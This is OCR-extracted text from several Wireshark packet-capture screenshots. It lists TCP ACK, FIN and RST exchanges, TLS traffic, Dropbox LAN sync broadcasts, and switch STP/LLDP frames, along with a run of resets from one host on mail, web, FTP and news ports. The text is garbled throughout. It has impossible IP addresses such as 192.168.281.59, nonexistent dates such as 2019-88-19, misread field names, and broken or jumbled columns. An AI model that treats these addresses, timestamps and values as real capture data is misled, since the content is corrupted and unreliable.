85 2019-88-19 14:89:31.587257  192.168.281.59 283.69.81.43 TCP 54 49970 - BB [ACK] Seq=2 Ack=2 Win=257 Len=0
86 2019-88-19 14:89:31.587389  192.168.281.59 13.35.11.139 TCP 54 49777 - 88 [ACK] Seg=2 Ack=2 Win=26@8 Len=8
87 2019-88-19 14:89:31.587594  184.18.28.226 192.168.281.59 TCP 60 88 - 49843 [FIN, ACK] Seq=1 Ack=2 Win=34 Len=0
88 2019-88-19 14:89:31.587595  184.18.28.226 192.168.281.59 TCP 60 88 - 58879 [FIN, ACK] Seg=1 Ack=2 Win=38 Len=0
89 2019-88-19 14:89:31.587596  184.18.28.226 192.168.281.59 TCP 60 88 - 49842 [FIN, ACK] Seqg=1 Ack=2 Win=34 Len=0
99 2019-88-19 14:89:31.587669  192.168.281.59 184.18.208.226 TCP 54 49843 - 88 [ACK] Seg=2 Ack=2 Win=268 Len=0
91 2019-88-19 14:89:31.587712  192.168.281.59 184.18.28.226 TCP 54 58879 -+ BB [ACK] Seq=2 Ack=2 Win=260 Len=0 ]
92 2019-88-19 14:89:31.587738  192.168.281.59 184.18.28.226 TCP 54 49842 -+ BB [ACK] Seq=2 Ack=2 Win=260 Len=0
93 2019-88-19 14:89:31.548441  117.18.237.29 192.168.281.59 TCP 60 88 - 49827 [FIN, ACK] Seg=1 Ack=2 Win=296 Len=0 ]
94 2019-88-19 14:89:31.548528  192.168.281.59 117.18.237.29 TCP 54 49827 -+ BB [ACK] Seq=2 Ack=2 Win=260 Len=0
95 2019-88-19 14:89:31.547486  117.18.237.29 192.168.281.59 TCP 60 80 - 49841 [FIN, ACK] Seq=1 Ack=2 Win=294 Len=0 ]
96 2019-88-19 14:89:31.547468  192.168.281.59 117.18.237.29 TCP 54 49841 - 88 [ACK] Seg=2 Ack=2 Win=26@ Len=8
97 2019-88-19 14:89:31.547933  117.18.237.29 192.168.281.59 TCP 60 88 - 49883 [FIN, ACK] Segq=1 Ack=2 Win=296 Len=0 —
98 2019-88-19 14:89:31.547985  192.168.281.59 117.18.237.29 TCP 54 49883 - BB [ACK] Seq=2 Ack=2 Win=257 Len=0
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(W] &prly o display filter - <Ctil-f> _ ~| Expression--
Ma. Time Boure Destination Frotocol Length  Info
2241 2019-88-87 16:17:48.541618  192.168.2081.59 283.184.150.4 TLSv1.2 1838 Application Data =
2242 2019-88-87 16:17:48.546398 2083.1684.158.4 192.168.281.59 TLSv1.2 296 New Session Ticket, Change Cipher Spec, Encrypted Hand
2243 2819-88-87 16:17:48.548323  192.168.281.59 283.184.158.4 TLSv1.2 1838 Application Data
2244 2819-88-87 16:17:48.548984  283.184.158.4 192.168.281.59 TLSv1.2 296 New Session Ticket, Change Cipher Spec, Encrypted Hands
2245 2019-88-87 16:17:48.551862  192.168.281.59 283.184.158.4 TLSv1.2 1838 Application Data
2247 2819-88-87 16:17:48.557398  192.168.281.59 52.229.207.68 TCP 54 52345 - 443 [ACK] Seg=1 Ack=1 Win=262144 Len=0
2248 2019-88-87 16:17:48.575874  192.168.281.59 52.229.207.68 TLSv1.2 254 Client Hello
2249 2019-88-87 16:17:48.580458  283.184.158.4 192.168.281.59 TLSv1.2 179 Application Data
2251 2819-88-87 16:17:48.580645  192.168.281.59 283.184.158.4 TCP 54 52343 - 443 [ACK] Segq=1628 Ack=3677 Win=66384 Len=0
2252 2819-88-87 16:17:48.582885  283.184.158.4 192.168.281.59 TLSv1.2 179 Application Data

2254 2819-88-87 16:17:48.582393 .168.201.59 - - 54 52344 -+ 443 [ACK] Seq=1628 Ack=3677 Win=066384 Len=0

2257 2619-88-87 48 .184.158.4 : : TLSv1.2 179 Application

2259 2819-83-87 48.591378 .168.281.59 : : 54 52341 -+ 443 [ACK] Seq=1628 Ack=3677 Win=66384 Len=0
2261 2819-85-87 :17:48.553551 .184.158.4 : : TLSvw1.2 179 Application

2263 2819-83-87 48.593788 .168.281.59 : : 54 52342 -+ 443 [ACK] Seq=1628 Ack=3677 Win=66384 Len=0
2265 2819-88-87 16:17:48.689799  52.229.207.60 192.168.281.59 TCP 1586 443 » 52345 [ACK] Seq=1 Ack=281 Win=262656 Len=1452 [TC
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175 2019-88-19 14:89:47.259877  192.168.2081.76 255.255.255.255 DB-LSP... 208 Dropbox LAN sync Discovery Protocol
176 2019-88-19 14:89:47.261881  192.168.281.76 192.168.281.255 DBE-LSP... 208 Dropbox LAN sync Discovery Protocol
177 2919-88-19 14:89:47.261967  192.168.2081.76 255.255.255.255 DBE-LSP... 208 Dropbox LAN sync Discovery Protocol
178 2019-08-19 14:89:47.262872  192.168.2081.76 255.255.255.255 DBE-LSP... 208 Dropbox LAN sync Discovery Protocol %
179 2019-88-19 14:89:47.262874  192.168.2081.76 255_255. 255,355 DB-LSP... 208 Dropbox LAN sync Discovery Protocol
188 2819-88-19 14:89:49.118949 Juniperi 85:27:e2 Spanning-tree-({for.. STP 68 R5T. Root = 32768/8/28:8a:1c:85:27:c1 Cost = 8 Port
181 2819-88-19 14:09:49. 209646 Juniperi @5:27:e2 LLDP Multicast LLDP 229 TTL = 128 SysDesc = Juniper Networks, Inc. ex2288-48t-

194 2919-88-19 14:89:49.257561  192.168.281.59 52.280.14.132 TL5v1.2 1588 Application Data

196 2019-88-19 14:89:49.258738  192.168.281.59 119.161.16.12 54 53987 - 443 [ACK] Seq=2 Ack=2 Win=1820 Len=08
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Mo, Time Bonre Destination Frotocol Length  Info -
53489 2019-88-87 16:51:38.879852 192. 2081.5 . =3 =3 54 52867 - 3 Seq=1993 Ack=8521 Win=8 Len=08
53498 2819-88-87 16:51:30.8808123 192.168.281.59 63.251.169.133 TCP 54 52866 - 443 [FIN, ACK] Seq=339 Ack=5284 Win=268864 Len=

53491 2019-88-87 16:51:30.888179 192. .281. . o3 o3 54 52866 - Seg=340 Ack=5284 Win=0 Len=0

53492 2819-88-87 16:51:30.8808458 192.168.281.59 63.251.169.143 TCP 54 52843 - 443 [FIN, ACK] Seq=1668 Ack=6285 Win=268608 Len___
53493 2019-88-87 16:51:30.888512 192. .281. . o3 . 54 52843 - S5eg=1661 Ack=6285 Win=8 Len=8 —
53494 2819-88-87 16:51:30.888776 192.168.281.59 63.251.169.143 TCP 54 52844 - 443 [FIN, ACK] Seq=337 Ack=5284 Win=268864 Len=
53495 2019-88-87 16:51:30.880849 192. .281. . o1 . 54 52844 - 5eg=338 Ack=5284 Win=0 Len=08

53496 2819-88-87 16:51:38.881136 192.168.281.59 58.116.239.135 TCP 54 52848 - 443 [FIN, ACK] Seq=8829 Ack=5844 Win=65535 Len=
53497 2019-88-87 16:51:38.881191 1592, .281. .116. o1 54 52848 - 3 ACK] Seq=8830 Ack=5844 Win=8 Len=0

53498 2819-88-87 16:51:38.881317 192.168.281.59 58.116.239.135 TCP 54 52852 - 80 [FIN, ACK] Seg=2526 Ack=571 Win=65535 Len=0 =
53499 2819-88-87 16:51:38.881635 192.168.281.59 58.116.239.135 TCP 54 52841 - 443 [FIN, ACK] Seq=542 Ack=3418 Win=65535 Len=6—

53508 2019-88-87 16:51:308.881724 192, . 281. .116. -3 54 52841 - Ack=3418 Win=B Len=8
53501 2015-88-87 16:51:38.88214%  152.168.281.58 96.7.252.75 TCP 54 5285@ - 443 [FIN, ACK] Seq=337 Ack=3085 Win=261632 Len=
53582 2019-88-87 16:51:38.882225 192. . 281. .7.252.75 54 52858 - 5eq=338 Ack=3085 Win=8 Len=8
53583 2015-88-87 16:51:38.882614 - - - - - - 54 52887 5eq=3235 Ack=3498 Win=65535 Len
53584 2019-88-87 16:51:30.882688 192. .281.5 58.116. 135 54 52887 - 3 S5eq=3236 Ack=3498 Win=8 Len=08
53585 2015-88-87 16:51:38.883027 - - - - - - 54 52808 5eq=542 Ack=3418 Win=65535 Len
53586 2019-88-87 16:51:30.883111 192. .281. .116. - ; Ack=3418 Win=@ Len=0
53587 2015-88-87 16:51:38.883611 - - - - - - 54 52792 5eq=334 Ack=5654 Win=65535 Len

53588 2819-88-87 16:51:38.88 192. .281. 18. : L2 54 52792 - Ack=5654 Win=0 Len=8

53589 2819-88-87 :51:308. . . . .58.281.222 54 52819 Ack=3509 Win=65535 Len
53518 2819-88-87 16:51:38.88 192. .281. 2.88.281.222 54 52819 - S5eq=334 Ack=3589 Win=0 Len=8
53511 2819-88-87 :51:308. . . . .226.218.15 54 52883 5eq=1118 Ack=6165 Win=261128 Le
53512 2819-88-87 16:51:38.884631 192. .281. .226.218.15 54 52883 - 5eq=1111 Ack=6165 Win=B Len=8
53513 2819-88-87 :51:308. . . . .226.218.15 54 52886 5eq=330 Ack=5445 Win=261632 Len
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37254 2019-88-87 16:40:18.861846 13.187.21.280 192.168.281.59 TCP 1586 443 -+ 52583 [ACK] Seq=552846 Ack=13898 Win=2181584 Len=
37255 2919-88-87 16:40:18.8610848 13.187.21.280 192.168.281.59 TCP 15686 443 -+ 52583 [ACK] Seq=553498 Ack=13898 Win=2181584 Len=
37256 2819-88-87 16:48:18.861858 13.187.21. 208 192.168.2081.59 TLSv1.2 1227 Application Data
37257 2019-088-87 16:40:18.861852 13.187.21.280 192.168.281.59 TL5v1.2 92 Application Data
37258 2019-88-87 16:48:18.861115 192.168.281.59 13.1@7.21.260 TCP 54 52583 - 443 [ACK] Segq=13898 Ack=556161 Win=262144 Len=0

37259 2019-98-07 16:40:29.870191
37268 2019-08-87 16:40:29.871108
37261 2819-08-07 16:48:29.871189
37262 2019-08-07 16:40:29.871373
37263 2019-08-07 16:408:29.872111
37264 2019-08-07 16:40:29.872713

(%]
o

172.217.168.82 54 52582 - , ACK] Seq=488 Ack=3185 Win=8 Len=08
31.13.87.1 g 54 52488 - ,» ACK] 5eq=9726 Ack=6254 Win=0 Len=8
31.13.87.36 54 52586 - ,» ACK] 5eq=512858 Ack=2324856 Win=@ Le
172.217.168.66 54 52588 - , ACK] Seq=1524 Ack=585 Win=8 Len=08
3.74.69.145 54 52575 - ,» ACK] 5eq=1718 Ack=38482 Win=0 Len=8
2.217.24.18 54 52581 - , ACK] 5eq=480 Ack=3185 Win=0 Len=0
. 74,869,289 54 52564 - » ACK] Seq=3281 Ack=1687856 Win=@ Len=08
.74.69.81 54 52559 - ,» ACK] 5eq=3479 Ack=285312 Win=0 Len=8
3.74.69.81 54 52579 - , ACK] 5eq=620 Ack=238 Win=0 Len=8
2.217.168.168 54 52578 - » ACK] S5eq=598 Ack=232 Win=8 Len=0 -
31.13.87.36 54 52568 - , ACK] 5eq=1843 Ack=1499 Win=0 Len=8
283.74.69.145 54 52574 - , ACK] 5eq=620 Ack=238 Win=0 Len=8
31.13.87.5 52557 - , ACK] Seq=151& Ack=76653 Win=0 Len=08
283.74.69.17 2 5eq=3295 Ack=292291 Win=0 Len=8
216.58.200.35 S5eq=5623 Ack=2962 Win=0 Len=8
172.217.24.2 S5eq=611 Ack=232 Win=8 Len=08
52.114.158.58 5eq=1625 Ack=6681 Win=0 Len=8
37276 2819-88-87 16:48:29.394634 13.1687.21.2686 S5eq=b678 Ack=258 Win=0 Len=8
37277 2819-88-87 16:48:29,396285 13.187.21.268 5eq=13898 Ack=556161 Win=0 Len=8
37278 2819-88-87 16:48:49,.156342 192.168.281.152 192.168.281.59 UDP 7

[ R o [ I I |
W W w0

37265 2019-08-07 16:40:29.872846
37266 2819-88-87 16:48:29.873284
37267 2019-088-07 16:48:29.873351
37268 2019-08-07 16:40:29.873418
37269 2019-08-07 16:40:29.873493
37278 2819-088-07 16:48:29.873555
37271 2019-08-07 16:40:29.873629
37272 2919-08-07 16:40:29.873745
37273 28919-08-07 16:48:29.8738085
37274 2019-08-07 16:40:29.873863
37275 28919-088-07 16:48:29.393415
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1132 2819-88-19 :43:27.837682 b61.222. . 192.168. . TCP 60 21 - 61946 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
1133 2819-88-19 :43:27.837924 b61.222. . 192.168. . TCP 60 6588 - 61945 [RST, ACK] Seg=1 Ack=1 Win=B Len=0
1134 2819-88-19 :43:27.837925 6l.222. . 192 .168. . TCP 68 118 - 61949 [RST, ACK] Seg=1 Ack=1 Win=0 Len=8
1135 2819-88-19 :43:27.837926 b61.222. . 192.168. . TCP 60 25 -+ 61947 [RST, ACK] Seq=1 Ack=1 Win=B Len=0
1136 2819-88-19 :43:27.837927 b61.222. . 192.168. . TCP 6B 808 -+ 61948 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
1137 2819-88-19 :43:27.837928 61.222. . 192 .168. . TCP 68 119 - 61958 [RST, ACK] Seg=1 Ack=1 Win=0 Len=0
1138 2819-88-19 :43:27.837929 b61.222. . 192.168. . TCP 60 6588 - 61957 [RST, ACK] Seg=1 Ack=1 Win=B Len=0
1139 2819-88-19 :43:27.837938 b61.222. . 192.168. . TCP 60 25 -+ 61953 [RST, ACK] Seq=1 Ack=1 Win=B Len=0
1148 2819-88-19 :43:27.837931 61.222. . 192 .168. . TCP 68 21 -+ 61952 [RST, ACK] Seg=1 Ack=1 Win=8 Len=0
1141 2819-88-19 :43:27.838153 b61.222. . 192.168. . TCP 6@ 6588 - 61951 [RST, ACK] Seg=1 Ack=1 Win=B Len=0
1142 2819-88-19 :43:27.838155 b61.222. . 192.168. . TCP 6@ 88 -+ 61954 [RST, ACK] Seq=1 Ack=1 Win=B Len=0
1143 2819-88-19 :43:27.838155 61.222. . 192 .168. . TCP 68 119 - 61956 [RST, ACK] Seg=1 Ack=1 Win=0 Len=0
1144 2819-88-19 :43:27.838157 b61.222. . 192.168. . TCP 60 116 - 61955 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
1145 2819-88-19 :43:27.574551 b61.222. . 192.168. . TCP 60 21 - 61958 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
1146 2819-88-19 :43:27.574553 61.222. . 192 .168. . TCP 68 B0 - 61968 [RST, ACK] Seg=1 Ack=1 Win=8 Len=8
1147 2819-88-19 :43:27.574554 b61.222. . 192.168. . TCP 60 25 -+ 61959 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
1148 2819-88-19 :43:27.574724 b61.222. . 192.168. . TCP 60 119 -+ 61962 [RST, ACK] Seg=1 Ack=1 Win=0 Len=0
1149 2819-88-19 :43:27.574726 61.222. . 192 .168. . TCP 68 118 - 61961 [RST, ACK] Seg=1 Ack=1 Win=0 Len=0
1158 2819-88-19 :43:28. 648254 b61.222. . 192.168. . TCP 6@ 6588 - 61963 [RST, ACK] Seg=1 Ack=1 Win=B Len=0
1151 2819-88-19 :43:28.648391 b61.222. . 192.168. . TCP 60 21 -+ 61964 [RST, ACK] Seq=1 Ack=1 Win=B Len=0
1152 2819-88-19 :43:28.648393 61.222. . 192 .168. . TCP 68 25 - 61965 [RST, ACK] Seg=1 Ack=1 Win=8 Len=08
1153 2819-88-19 :43:29.185136 b61.222. . 192.168. . TCP 60 116 -+ 61967 [RST, ACK] Seqg=1 Ack=1 Win=0 Len=0
1154 2819-88-19 :43:29.185137 b61.222. . 192.168. . TCP 6B 88 - 61966 [RST, ACK] Seq=1 Ack=1 Win=B Len=0
1155 2819-88-19 :43:29.185273 61.222. . 192 .168. . TCP 68 6588 - 61969 [RST, ACK] Seg=1 Ack=1 Win=0 Len=0
1156 2819-88-19 :43:29.185274 b61.222. . 192.168. . TCP 60 119 -+ 61968 [RST, ACK] Seqg=1 Ack=1 Win=0 Len=0
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